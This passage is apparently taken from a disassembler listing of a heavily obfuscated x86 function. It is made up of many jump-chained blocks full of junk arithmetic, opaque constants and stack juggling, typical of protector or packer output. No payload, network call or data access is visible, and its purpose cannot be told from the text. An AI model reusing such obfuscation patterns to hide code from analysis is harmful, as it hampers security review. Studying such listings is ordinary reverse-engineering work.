loc_5A8DA3:				; CODE XREF: sub_58A891+1399Aj
		pop	ebx
		push	edx
		jmp	loc_59E3E2
; ---------------------------------------------------------------------------


loc_5A8DAA:				; CODE XREF: sub_58A891+1AFD6j
		mov	eax, esp
		push	7E25h
		mov	[esp+3Eh+var_40+2], ebx
		push	edi
		mov	edi, 3777108Dh
		sub	edi, 410277A4h
		jl	loc_59D922
		add	edi, 98B671Bh
		jmp	loc_5B20E2
; ---------------------------------------------------------------------------


loc_5A8DD1:				; CODE XREF: sub_58A891+21B9Dj
		not	[esp+42h+var_44+2]
		pop	edx
		shr	edx, 3
		add	edx, 0E9C2E2A5h
		add	eax, 758D62EAh
		sub	eax, 67AA6670h
		jmp	loc_5A5100
; ---------------------------------------------------------------------------


loc_5A8DED:				; CODE XREF: sub_58A891+23DBCj
		pop	edx
		push	4786h
		mov	[esp+3Eh+var_40+2], ecx
		jmp	loc_5B24A6
; ---------------------------------------------------------------------------


loc_5A8DFB:				; CODE XREF: sub_58A891+191DFj
		mov	edi, 49274AA3h
		jmp	loc_5A3708
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	cl, 0Ch
		jmp	loc_5A970E
; ---------------------------------------------------------------------------


loc_5A8E0E:				; CODE XREF: sub_58A891+23BCBj
		add	esi, 703F19E0h
		pop	ebx
		not	esi
		xor	esi, 176C3B62h
		add	esi, 308BE601h
		add	eax, esi
		pop	esi
		or	eax, 460B4432h
		add	eax, 294E07A4h
		push	edi
		mov	edi, 2A523893h
		neg	edi
		jmp	loc_5AD5DC
; ---------------------------------------------------------------------------


loc_5A8E3D:				; CODE XREF: sub_58A891+15884j
		push	2BF2h
		jmp	loc_5A3411
; ---------------------------------------------------------------------------


loc_5A8E47:				; CODE XREF: sub_58A891+163B3j
		mov	esi, 6AF33C13h
		jmp	loc_5A6F40
; ---------------------------------------------------------------------------


loc_5A8E51:				; CODE XREF: sub_58A891:loc_5B0D03j
		and	ebp, 288A44EEh
		jmp	loc_59DC1A
; ---------------------------------------------------------------------------


loc_5A8E5C:				; CODE XREF: sub_58A891+195A9j
					; sub_58A891+2068Ej
		push	[esp+12h+var_14+2]
		jmp	loc_5AAF6E
; ---------------------------------------------------------------------------


loc_5A8E64:				; CODE XREF: sub_58A891+21253j
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		mov	[esp+16h+var_18+2], edx
		push	46E4h
		mov	[esp+1Ah+var_1C+2], eax
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		mov	bl, 63h
		neg	bl
		jz	loc_5A7158
		or	bl, 0B2h
		jmp	loc_5B105D
; ---------------------------------------------------------------------------


loc_5A8EA2:				; CODE XREF: sub_58A891+14246j
		mov	ebp, esi
		jmp	loc_5AEBA7
; ---------------------------------------------------------------------------


loc_5A8EA9:				; CODE XREF: sub_58A891+177C6j
		sub	edi, 156C2DE3h
		sub	edi, esi
		add	edi, 156C2DE3h
		pop	esi
		jmp	loc_5AC5D7
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+4Eh+var_50+2]
		push	5E02h
		jmp	loc_5A4CCB
; ---------------------------------------------------------------------------


loc_5A8ECB:				; CODE XREF: sub_58A891+1CC55j
		sub	ecx, 3F17A3Fh
		push	esi
		jmp	loc_5A3C53
; ---------------------------------------------------------------------------


loc_5A8ED7:				; CODE XREF: sub_58A891+26B45j
		push	eax
		mov	eax, 0CC032D6h
		jmp	loc_5A8CC3
; ---------------------------------------------------------------------------


loc_5A8EE2:				; CODE XREF: sub_58A891+15E1Cj
					; sub_58A891:loc_5A1802j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A0582
; ---------------------------------------------------------------------------


loc_5A8EF6:				; CODE XREF: sub_58A891+25DBAj
		shl	edx, 1
		push	ecx
		push	1A7Ch
		mov	[esp+0AEh+var_AE], esi
		push	403A2CCFh
		pop	esi
		mov	ecx, 403A2CCEh
		sub	ecx, 29D05DB4h
		push	ebp
		mov	ebp, 2B17162Ch
		add	ecx, ebp
		pop	ebp
		sub	ecx, esi
		sub	ecx, 2B17162Ch
		push	edx
		mov	edx, 29D05DB4h
		add	ecx, edx
		jmp	loc_5ADB32
; ---------------------------------------------------------------------------


loc_5A8F30:				; CODE XREF: sub_58A891+1D0EAj
		mov	esi, 5F8D03D3h
		jmp	loc_5AF81D
; ---------------------------------------------------------------------------


loc_5A8F3A:				; CODE XREF: sub_58A891+1AD9Bj
		pop	edi
		push	ebp
		push	edx
		mov	edx, 6526178Ah
		shr	edx, 4
		xor	edx, 195B7048h
		sub	edx, 929437h
		mov	ebp, edx
		pop	edx
		inc	ebp
		jmp	loc_5B2EA2
; ---------------------------------------------------------------------------


loc_5A8F5A:				; CODE XREF: sub_58A891+1BA42j
		add	ebx, 14B6FB3Eh
		sub	edi, ebx
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5AFF38
; ---------------------------------------------------------------------------


loc_5A8F70:				; CODE XREF: sub_58A891+1CFE4j
		pop	esi
		mov	ebx, [esp+8Ah+var_8C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+92h+var_90+2]
		pop	ebx
		pop	[esp+92h+var_94+2]
		pop	esp
		jmp	loc_59FCC7
; ---------------------------------------------------------------------------


loc_5A8F8F:				; CODE XREF: sub_58A891+1E2A2j
		sub	esi, edi
		pop	edi
		jmp	loc_5A338B
; ---------------------------------------------------------------------------


loc_5A8F97:				; CODE XREF: sub_58A891+1340Aj
		add	esi, ebp
		pop	ebp
		mov	ebp, [esp+32h+var_34+2]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], edi
		xor	edi, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		mov	[esp+32h+var_34+2], ebp
		jmp	loc_5A9C25
; ---------------------------------------------------------------------------


loc_5A8FC0:				; CODE XREF: sub_58A891+21BF3j
		sub	esi, 2B383FB3h
		sub	esi, 5A84430Dh
		mov	eax, [esp+32h+var_34+2]
		add	esp, 4
		xor	esi, [esp+2Eh+var_30+2]
		jmp	loc_5A122E
; ---------------------------------------------------------------------------


loc_5A8FDD:				; CODE XREF: sub_58A891+22EECj
		add	eax, ebx
		pop	ebx
		jmp	loc_5A5402
; ---------------------------------------------------------------------------


loc_5A8FE5:				; CODE XREF: sub_58A891+1B9EEj
		or	ebx, ebp
		jmp	loc_5AF969
; ---------------------------------------------------------------------------


loc_5A8FEC:				; CODE XREF: sub_58A891+1DB62j
		mov	edi, 206D00A5h
		jmp	loc_5A8695
; ---------------------------------------------------------------------------


loc_5A8FF6:				; CODE XREF: sub_58A891+1C1BAj
		jp	loc_59ED3A
		shr	eax, 7
		jmp	loc_5B164F
; ---------------------------------------------------------------------------


loc_5A9004:				; CODE XREF: sub_58A891+1C500j
		add	eax, edi
		pop	edi
		add	eax, ecx
		sub	eax, 40BA3A7Eh
		mov	ecx, [esp+32h+var_34+2]
		add	esp, 4
		add	eax, 2AFC7115h
		add	eax, ebx
		push	edx
		mov	edx, 2AFC7115h
		sub	eax, edx
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_5A2495
; ---------------------------------------------------------------------------


loc_5A902C:				; CODE XREF: sub_58A891+1C560j
		mov	ebp, 21E57A36h
		sub	eax, ebp
		pop	ebp
		add	eax, 5DE777A9h
		add	eax, edx
		sub	eax, 5DE777A9h
		jmp	loc_5B2622
; ---------------------------------------------------------------------------


loc_5A9045:				; CODE XREF: sub_58A891+193BDj
		sub	esi, 49224584h
		shr	esi, 7
		jmp	loc_5ADB77
; ---------------------------------------------------------------------------


loc_5A9053:				; CODE XREF: sub_58A891+27979j
		pop	ebx
		push	esi
		jmp	loc_5ABA81
; ---------------------------------------------------------------------------


loc_5A905A:				; CODE XREF: sub_58A891+1C700j
		push	[esp+0AEh+var_AE]
		pop	ecx
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_5B0E16
; ---------------------------------------------------------------------------


loc_5A906B:				; CODE XREF: sub_58A891+12FF5j
		and	esi, 72180352h
		jge	loc_5B0749
		or	esi, 33564D08h
		jo	loc_59F3C4
		mov	dl, 0CFh
		pop	edx


loc_5A9086:				; CODE XREF: sub_58A891+1C0C9j
		and	ebx, 4B2546A8h
		ja	loc_5AC88B
		jmp	loc_5A29AE
; ---------------------------------------------------------------------------
		inc	edi
		xor	ch, 5Ch
		push	edi


loc_5A909C:				; CODE XREF: sub_58A891+19687j
		push	dword ptr [ebx]
		pop	eax
		pop	ebx
		pop	ecx
		push	dword ptr [edi+eax*4]
		add	[esp+0A2h+var_A2], 29BB2946h
		pop	eax
		push	esi
		push	6033h
		mov	[esp+0A6h+var_A6], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_5AA2EA
; ---------------------------------------------------------------------------


loc_5A90C3:				; CODE XREF: sub_58A891+166F8j
		jo	loc_59BFDB
		jmp	loc_5AB379
; ---------------------------------------------------------------------------


loc_5A90CE:				; CODE XREF: sub_58A891+16C28j
		mov	ecx, 4
		sub	esi, 460A727Fh
		add	esi, ecx
		add	esi, 460A727Fh
		push	[esp+9Ch+var_9E+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5A8C16
; ---------------------------------------------------------------------------


loc_5A90ED:				; CODE XREF: sub_58A891+15B77j
		mov	ecx, [esp+0AAh+var_AA]
		sub	esp, 4
		jmp	loc_5A9F63
; ---------------------------------------------------------------------------


loc_5A90F8:				; CODE XREF: sub_58A891+12802j
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 530A4043h
		or	ecx, 2C103F2Ah
		xor	ecx, 7F1A7F6Fh
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		push	edx
		push	[esp+0A2h+var_9E]
		jmp	loc_5ADE5C
; ---------------------------------------------------------------------------


loc_5A911C:				; CODE XREF: sub_58A891+15A77j
		push	[esp+0BAh+var_BA]
		pop	eax
		jmp	loc_5AB170
; ---------------------------------------------------------------------------


loc_5A9125:				; CODE XREF: sub_58A891+1C746j
		push	ebx
		mov	ebx, 15F262FCh
		not	ebx
		and	ebx, 46EA7B6Ah
		add	ebx, 12A7236Eh
		add	ebx, 1A060003h
		jnz	loc_59C305
		add	ebx, 56896D91h
		jmp	loc_5A99DB
; ---------------------------------------------------------------------------


loc_5A9150:				; CODE XREF: sub_58A891+19DF0j
		pop	edx
		add	[esp+0D2h+var_CE], edx
		sub	[esp+0D2h+var_CE], 0A39409Fh
		jmp	loc_5A44ED
; ---------------------------------------------------------------------------


loc_5A9162:				; CODE XREF: sub_58A891+15B4Fj
					; sub_58A891+1F2E2j
		mov	eax, [esp+0AEh+var_AE]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_5A2565
; ---------------------------------------------------------------------------


loc_5A9177:				; CODE XREF: sub_58A891+26453j
		push	7D18h
		mov	[esp+0BAh+var_BA], ebp
		mov	ecx, [esp+0BAh+var_BA]
		add	esp, 4
		mov	ebp, [esp+0B6h+var_B6]
		jmp	loc_5A4112
; ---------------------------------------------------------------------------


loc_5A918D:				; CODE XREF: sub_58A891+1BB06j
		mov	esp, [esp+42h+var_44+2]
		jmp	loc_59CE5D
; ---------------------------------------------------------------------------


loc_5A9195:				; CODE XREF: sub_58A891+19CE4j
		sub	esi, 464E3273h
		sub	esi, edx
		jmp	loc_5ACB67
; ---------------------------------------------------------------------------


loc_5A91A2:				; CODE XREF: sub_58A891+2388Aj
		mov	[esp+0B6h+var_B6], ecx
		push	ebx
		mov	ebx, 78351B7Bh
		jmp	loc_59D5D0
; ---------------------------------------------------------------------------


loc_5A91B0:				; CODE XREF: sub_58A891+20C7Bj
		pop	ecx
		shr	esi, 1
		sub	esi, 0FFFFFFFFh
		jmp	loc_5B1234
; ---------------------------------------------------------------------------


loc_5A91BE:				; CODE XREF: sub_58A891+248FAj
					; sub_58A891+263E1j
		pop	edi
		pop	[esp+0B2h+var_B2]
		mov	esp, [esp+0AEh+var_AE]
		jmp	loc_5B2675
; ---------------------------------------------------------------------------


loc_5A91CA:				; CODE XREF: sub_58A891+15D82j
		pop	ebp
		add	ebp, 4ED67B33h
		pop	ebx
		push	[esp+0A6h+var_A6]
		jmp	loc_5A7D7B
; ---------------------------------------------------------------------------


loc_5A91DA:				; CODE XREF: sub_58A891+27A4Dj
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebx
		jmp	loc_5A75B9
; ---------------------------------------------------------------------------


loc_5A91E5:				; CODE XREF: sub_58A891+24924j
		mov	esi, 47911E9Ch
		jmp	loc_5A2098
; ---------------------------------------------------------------------------


loc_5A91EF:				; CODE XREF: sub_58A891+12C94j
					; sub_58A891:loc_5B2C7Aj
		pop	esp
		mov	[esp+22h+var_24+2], eax
		push	3BA9h
		mov	[esp+26h+var_28+2], edx
		mov	dh, 5Ch
		push	3B09h
		mov	[esp+2Ah+var_2C+2], ecx
		mov	cl, 9Fh
		mov	al, 0AFh
		jmp	loc_5A0E39
; ---------------------------------------------------------------------------


loc_5A920E:				; CODE XREF: sub_58A891+1D6ADj
		push	edi
		jmp	loc_5ACF36
; ---------------------------------------------------------------------------


loc_5A9214:				; CODE XREF: sub_58A891+12BBCj
		push	[esp+26h+var_28+2]
		mov	edx, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebp
		push	ecx
		push	ebp
		mov	ebp, 48814803h
		shr	ebp, 5
		jp	loc_5AEF7E
		dec	ebp
		sub	ebp, 0A344E70Ch
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5A0943
; ---------------------------------------------------------------------------


loc_5A9248:				; CODE XREF: sub_58A891+1EDE1j
		push	ecx
		push	[esp+2Eh+var_2C+2]
		pop	ecx
		jmp	loc_59C342
; ---------------------------------------------------------------------------


loc_5A9253:				; CODE XREF: sub_58A891+1C406j
		pop	eax
		sub	edi, 61DA765Eh
		sub	esp, 4
		mov	[esp+9Ch+var_9E+2], esi
		mov	esi, 2AB26105h
		jmp	loc_5ADDB1
; ---------------------------------------------------------------------------


loc_5A926A:				; CODE XREF: sub_58A891+168C4j
		sub	edx, 6DDE3D34h
		push	ecx
		push	4EBDh
		jmp	loc_5B0166
; ---------------------------------------------------------------------------


loc_5A927B:				; CODE XREF: sub_58A891+2673Ej
		and	ecx, 63008B2h
		push	eax
		mov	eax, 64D96110h
		jmp	loc_5AEF55
; ---------------------------------------------------------------------------


loc_5A928C:				; CODE XREF: sub_58A891+13F3Dj
		jmp	loc_5A56C2
; ---------------------------------------------------------------------------


loc_5A9291:				; CODE XREF: sub_58A891+131F5j
		xchg	edi, [esp+16h+var_18+2]
		pop	esp
		push	esi
		mov	esi, 3C45475Fh
		sub	edx, esi
		pop	esi
		add	edx, ebx
		add	edx, 3C45475Fh
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_5AC958
; ---------------------------------------------------------------------------


loc_5A92B1:				; CODE XREF: sub_58A891+1CD0Fj
		jns	loc_5A1D6C
		shl	esi, 2
		sub	esi, 32BE38ECh
		mov	bh, ch


loc_5A92C2:				; CODE XREF: sub_58A891+1F973j
		sub	cl, bh
		pop	ebx
		add	cl, 0CCh
		jge	loc_5AEB3D
		inc	cl
		jns	loc_5AE363
		push	7061h
		mov	[esp+82h+var_84+2], eax
		mov	ah, 0A7h
		and	ah, 0E2h
		jmp	loc_5A3F31
; ---------------------------------------------------------------------------


loc_5A92E8:				; CODE XREF: sub_58A891+1F2AFj
		xchg	eax, [esp+82h+var_84+2]
		mov	esp, [esp+82h+var_84+2]
		add	eax, 2E096C9Bh
		sub	eax, edx
		push	ebx
		mov	ebx, 1E9A0F34h
		add	ebx, 0F6F5D67h
		sub	eax, ebx
		mov	ebx, [esp+86h+var_88+2]
		add	esp, 4
		mov	edx, [esp+82h+var_84+2]
		push	eax
		jmp	loc_5B1E7F
; ---------------------------------------------------------------------------


loc_5A9315:				; CODE XREF: sub_58A891+15A3Cj
					; sub_58A891+16B89j
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+0B2h+var_B2]
		jmp	loc_5AE40D
; ---------------------------------------------------------------------------


loc_5A9328:				; CODE XREF: sub_58A891+1ABBDj
		dec	ch
		jmp	loc_5AB3AF
; ---------------------------------------------------------------------------


loc_5A932F:				; CODE XREF: sub_58A891+13C16j
		not	esi
		xchg	esi, edx
		shl	edx, 1
		add	edx, 8C2EDEC9h
		mov	edi, edx
		pop	edx
		push	ebx
		jmp	loc_5ADFB5
; ---------------------------------------------------------------------------


loc_5A9344:				; CODE XREF: sub_58A891+22277j
		mov	[esp+0B2h+var_B2], edx
		push	edi
		push	5AF973EFh
		pop	edi
		push	1718h
		mov	[esp+0BAh+var_BA], ecx
		mov	ecx, 332594Ch
		sub	ecx, 0DEA20404h
		xor	edi, ecx
		pop	ecx
		sub	edi, 24C4E2C4h
		mov	edx, edi
		pop	edi
		push	7559h
		jmp	loc_5B238E
; ---------------------------------------------------------------------------


loc_5A9377:				; CODE XREF: sub_58A891+145CCj
					; sub_58A891+1EC11j
		pop	eax
		mov	ah, dh
		mov	edx, [esp+36h+var_38+2]
		jmp	loc_5B1D58
; ---------------------------------------------------------------------------


loc_5A9382:				; CODE XREF: sub_58A891+28649j
		or	[edi+1Ch], esi
		push	[esp+36h+var_38+2]
		push	[esp+3Ah+var_3C+2]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 720A31DEh
		shl	edi, 1
		or	edi, 1FAE44E0h
		neg	edi
		not	edi
		xor	edi, 3CCD4C5Ch
		xor	edi, 0C3732BA3h
		jmp	loc_59CCD4
; ---------------------------------------------------------------------------


loc_5A93C0:				; CODE XREF: sub_58A891+231E1j
		mov	ebp, 4A6D5766h
		sub	ebp, 4A6D5762h
		add	eax, 0F4A1DBCh
		push	ebx
		mov	ebx, 7060482h
		jmp	loc_59C293
; ---------------------------------------------------------------------------


loc_5A93DB:				; CODE XREF: sub_58A891+1E060j
		and	ecx, 797C1F86h
		ja	loc_5AB359
		add	ecx, 0D95D9E22h
		mov	ebp, ecx
		mov	ecx, [esp+4Eh+var_50+2]


loc_5A93F2:				; CODE XREF: sub_58A891+1ABF4j
		mov	esi, 4
		mov	ecx, esi
		pop	esi
		add	edi, 73B183Fh
		add	edi, ecx
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, 73B183Fh
		jmp	loc_5A9731
; ---------------------------------------------------------------------------


loc_5A9412:				; CODE XREF: sub_58A891:loc_5A7860j
		neg	esi
		jge	loc_5ABC9A
		not	esi
		xor	esi, 3B180542h
		jnz	loc_5A4861


loc_5A9428:				; CODE XREF: sub_58A891+16DE8j
		pop	eax
		pop	ebx
		jmp	loc_59FEF8
; ---------------------------------------------------------------------------


loc_5A942F:				; CODE XREF: sub_58A891+162B5j
		push	ebx
		jmp	loc_5A4379
; ---------------------------------------------------------------------------


loc_5A9435:				; CODE XREF: sub_58A891+20BBDj
		sub	eax, esi
		add	eax, 4CBF113Bh
		jmp	loc_59E25E
; ---------------------------------------------------------------------------


loc_5A9441:				; CODE XREF: sub_58A891+232FCj
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A9448:				; CODE XREF: sub_58A891+14D3Dj
					; sub_58A891+1DB3Bj
		add	[esp+22h+var_24+2], 4
		push	[esp+22h+var_24+2]
		pop	ecx
		jmp	loc_5B28AF
; ---------------------------------------------------------------------------


loc_5A9458:				; CODE XREF: sub_58A891+1C338j
		mov	[esp+66h+var_68+2], eax
		push	1DD6h
		mov	[esp+6Ah+var_6C+2], ebp
		push	ebx
		mov	ebx, 196367EDh
		mov	ebp, ebx
		pop	ebx
		push	ebp
		xor	[esp+6Eh+var_70+2], 65444B5Fh
		push	[esp+6Eh+var_70+2]
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	loc_5AF0B2
; ---------------------------------------------------------------------------


loc_5A9480:				; CODE XREF: sub_58A891:loc_5A6468j
		xchg	ebx, edx
		push	ebx
		not	[esp+16h+var_18+2]
		pop	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		sub	edx, 3DFC60F7h
		jmp	loc_5AC6EF
; ---------------------------------------------------------------------------


loc_5A9498:				; CODE XREF: sub_58A891+26555j
		inc	edx
		jle	loc_5A6CB7
		shl	edx, 8
		jns	loc_5A9377
		jmp	loc_5B23DF
; ---------------------------------------------------------------------------


loc_5A94AD:				; CODE XREF: sub_58A891+180D8j
		shl	eax, 1
		xor	eax, 0E58E3E48h
		jmp	loc_59C9B1
; ---------------------------------------------------------------------------


loc_5A94B9:				; CODE XREF: sub_58A891+190B5j
		push	[esp+4Eh+var_50+2]
		jmp	loc_5A250C
; ---------------------------------------------------------------------------


loc_5A94C1:				; CODE XREF: sub_58A891+120EAj
		add	[esp+0AAh+var_AA], 4E4208E8h
		pop	edx
		sub	edx, 4E4208E8h
		pop	eax
		not	edx
		inc	edx
		add	edx, 0FFFFFFFFh
		dec	edx
		shl	edx, 3
		xor	edx, 74F4E374h
		jmp	loc_5AF061
; ---------------------------------------------------------------------------


loc_5A94E5:				; CODE XREF: sub_58A891+20BD1j
		sub	byte ptr [esp+0A2h+var_A2], cl
		mov	cl, byte ptr [esp+0A2h+var_A2]
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_5A27FF
; ---------------------------------------------------------------------------


loc_5A94F4:				; CODE XREF: sub_58A891+27D5Fj
		pop	ecx
		sub	edi, 8AF7B8F8h
		add	edx, 65F82608h
		add	edx, edi
		sub	edx, 65F82608h
		mov	edi, [esp+0A6h+var_A6]
		sub	esp, 4
		mov	[esp+0AAh+var_AA], edx
		push	esp
		jmp	loc_5A3176
; ---------------------------------------------------------------------------


loc_5A9518:				; CODE XREF: sub_58A891+20081j
		push	esi
		mov	esi, 195372BFh
		add	esi, 78165A5Bh
		or	esi, 708B5E1Bh
		jmp	loc_5A079D
; ---------------------------------------------------------------------------


loc_5A952F:				; CODE XREF: sub_58A891+1FA1Cj
		pop	edi
		push	edi
		jmp	loc_5AEBD5
; ---------------------------------------------------------------------------


loc_5A9536:				; CODE XREF: sub_58A891+18349j
		jle	loc_5B01CA
		dec	ch
		sub	ch, 0E5h
		jno	loc_5B12BD
		push	bx
		mov	bl, 78h
		neg	bl
		jnb	loc_5AF1C7
		jmp	loc_59F8A8
; ---------------------------------------------------------------------------


loc_5A9558:				; CODE XREF: sub_58A891+1D791j
		add	eax, 0CAE1F98Bh
		add	edi, eax
		mov	eax, [esp+5Eh+var_60+2]
		add	esp, 4
		add	edi, eax
		push	ecx
		push	edx
		mov	edx, 1D5E3580h
		mov	ecx, edx
		pop	edx
		sub	ecx, 0D55CFDF7h
		sub	edi, ecx
		pop	ecx
		push	[esp+5Ah+var_5C+2]
		jmp	loc_5A9CDF
; ---------------------------------------------------------------------------


loc_5A9585:				; CODE XREF: sub_58A891+129EAj
		push	[esp+1Eh+var_1C+2]
		jmp	loc_5A711B
; ---------------------------------------------------------------------------


loc_5A958E:				; CODE XREF: sub_58A891+20FCDj
		sub	ch, 0AAh
		sub	ch, 90h
		dec	ch
		jmp	loc_5ACAE4
; ---------------------------------------------------------------------------


loc_5A959B:				; CODE XREF: sub_58A891+20260j
		add	edi, ebp
		push	ebp
		mov	ebp, 76AE5733h
		sub	edi, ebp
		pop	ebp
		pop	ebp
		pop	ecx
		xor	edi, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], edi
		xor	edi, [esp+1Ah+var_1C+2]
		pop	esp
		sub	word ptr [esp+16h+var_18+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A95BC:				; CODE XREF: sub_58A891+1395Ej
		mov	ebx, 3336E618h
		sub	edx, ebx
		pop	ebx
		sub	edi, edx
		jmp	loc_5B006D
; ---------------------------------------------------------------------------


loc_5A95CB:				; CODE XREF: sub_58A891+26CA3j
		push	81h
		mov	[esp+42h+var_44+2], esp
		push	edi
		mov	edi, 4
		jmp	loc_5A19B3
; ---------------------------------------------------------------------------


loc_5A95DE:				; CODE XREF: sub_58A891+237D9j
		pop	ecx
		jmp	loc_5ACA85
; ---------------------------------------------------------------------------


loc_5A95E4:				; CODE XREF: sub_58A891+11EE3j
		mov	edi, 50F22FB5h
		xor	edi, 9565FCF3h
		jmp	loc_5A0D3D
; ---------------------------------------------------------------------------


loc_5A95F4:				; CODE XREF: sub_58A891+192BBj
		shl	esi, 5
		js	loc_5A1340
		add	esi, 0FFFFFFFFh
		and	esi, 775633B1h
		jmp	loc_59E6EB
; ---------------------------------------------------------------------------


loc_5A960B:				; CODE XREF: sub_58A891:loc_5A2CADj
		push	edi
		jmp	loc_5AEAB4
; ---------------------------------------------------------------------------


loc_5A9611:				; CODE XREF: sub_58A891+1AFF0j
					; sub_58A891+2224Ej
		add	ebp, ebx
		sub	ebp, 566F69ADh
		sub	ebp, 142F39F2h
		pop	ebx
		pop	esi
		push	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5ABEB6
; ---------------------------------------------------------------------------


loc_5A9636:				; CODE XREF: sub_58A891+19BBFj
					; sub_58A891+27DA2j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_5AFAEB
; ---------------------------------------------------------------------------


loc_5A964D:				; CODE XREF: sub_58A891+1A18Ej
		pop	[esp+0E6h+var_E8+2]
		pop	esp
		jmp	loc_5B2250
; ---------------------------------------------------------------------------


loc_5A9656:				; CODE XREF: sub_58A891+22E82j
		xchg	edx, [esp+0DEh+var_DE]
		pop	esp
		mov	dh, ch
		pop	ecx
		mov	bh, dh
		jmp	loc_59EB9F
; ---------------------------------------------------------------------------


loc_5A9664:				; CODE XREF: sub_58A891+23472j
		mov	[esp+0D6h+var_D6], esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		sub	ecx, edx
		pop	edx
		jmp	loc_5A9248
; ---------------------------------------------------------------------------


loc_5A9677:				; CODE XREF: sub_58A891+1E30Dj
		jz	loc_5A55F4
		inc	edi
		jl	loc_59F276
		sub	edi, 0D84BB7E6h
		jmp	loc_59C712
; ---------------------------------------------------------------------------
		mov	bl, ch


loc_5A9691:				; CODE XREF: sub_58A891+153BBj
					; sub_58A891+25648j
		inc	edx
		shr	edx, 2
		jmp	loc_5B0708
; ---------------------------------------------------------------------------


loc_5A969A:				; CODE XREF: sub_58A891+191F0j
		sub	esp, 4
		mov	[esp+0B6h+var_B6], ecx
		mov	ecx, 1BDF1416h
		shr	ecx, 3
		sub	esp, 4
		mov	[esp+0BAh+var_BA], ecx
		push	esi
		pop	ecx
		pop	esi
		jmp	loc_5B077E
; ---------------------------------------------------------------------------


loc_5A96B9:				; CODE XREF: sub_58A891:loc_5B2AD0j
		dec	ecx
		jmp	loc_5A895E
; ---------------------------------------------------------------------------


loc_5A96BF:				; CODE XREF: sub_58A891+163ECj
					; sub_58A891+20001j
		mov	esi, 4
		sub	ecx, 2DBE2587h
		sub	ecx, 19FB5C91h
		add	ecx, esi
		add	ecx, 19FB5C91h
		jmp	loc_59D182
; ---------------------------------------------------------------------------


loc_5A96DD:				; CODE XREF: sub_58A891+223B3j
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp+46h+var_48+2], eax
		push	esp
		mov	eax, [esp+4Ah+var_4C+2]
		add	esp, 4
		jmp	loc_5A11A5
; ---------------------------------------------------------------------------


loc_5A96FA:				; CODE XREF: sub_58A891+155F1j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 6D8171D8h
		or	ebx, 445202E5h
		jmp	loc_5A8518
; ---------------------------------------------------------------------------


loc_5A970E:				; CODE XREF: sub_58A891+1E578j
		push	6864h
		mov	[esp+0BAh+var_BA], edx
		mov	dl, cl
		jmp	loc_5AD727
; ---------------------------------------------------------------------------


loc_5A971D:				; CODE XREF: sub_58A891+225DBj
		push	[esp+0BAh+var_BA]
		pop	ebp
		add	esp, 4
		neg	ebp
		xchg	ebp, edi
		push	ecx
		jmp	loc_5AF98B
; ---------------------------------------------------------------------------


loc_5A9731:				; CODE XREF: sub_58A891+1EB7Cj
		sub	edi, ecx
		pop	ecx
		pop	ecx
		push	683Ah
		mov	[esp+4Ah+var_4C+2], edi
		push	[esp+4Ah+var_48+2]
		pop	edi
		jmp	loc_5A7D33
; ---------------------------------------------------------------------------


loc_5A9747:				; CODE XREF: sub_58A891+141BAj
		push	ebx
		mov	ebx, 24B231FDh
		add	ebx, 0FFFFFFFFh
		add	ebx, 5AAA6ECCh
		xor	ebx, 61D4371Ah
		push	ebx
		not	[esp+3Ah+var_3C+2]
		jmp	loc_5A2529
; ---------------------------------------------------------------------------


loc_5A9768:				; CODE XREF: sub_58A891+20421j
		pop	eax
		add	eax, 4
		jmp	loc_5A4C37
; ---------------------------------------------------------------------------


loc_5A9773:				; CODE XREF: sub_58A891+23C50j
		or	esi, 5939623Ch
		shl	esi, 4
		shr	esi, 3
		inc	esi
		jnz	loc_5AA897
		jmp	loc_5B09FD
; ---------------------------------------------------------------------------
		push	4C195037h
		mov	ch, 2
		mov	cl, dh


loc_5A9794:				; CODE XREF: sub_58A891+1D320j
		pop	eax
		mov	ebp, ebx
		pop	ebx
